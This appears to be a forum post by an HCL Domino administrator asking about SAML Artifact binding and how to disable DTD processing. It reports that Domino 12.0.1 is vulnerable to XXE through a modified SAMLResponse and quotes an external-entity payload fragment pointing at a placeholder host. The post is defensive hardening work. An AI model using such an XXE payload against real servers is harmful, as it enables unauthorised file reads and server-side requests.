SAML implementation, can be done safer?

1.) HCL Domino server 12.0.1 (and older) are missing SAML Artifact binding implementation/settings. It has just SAML POST binding :-( Hmm it also works SOAP and inside SAML POST binding, but SAML ARTIFACT binding didn't work for me at all. Is SAML artifact binding supported or I just don't know how to set it up?

I think SAML Artifact binding increase security. Why? Now all trafic goes via browser and Domino has greater possible attack vector. Good thing: I have tried different XML signature wrapping attacks and Domino was not vulnerable :-)

2.) Domino server when doing SAML it is vulnerable to XXE attack via modified "SAMLResponse=" response. "DOCTYPE" in XML is processed by domino server (<!ENTITY % ext SYSTEM "http://anyserver/dtd.txt">)

Is it possible to disable DOCTYPE processing (DTD) inside domino XML processing?
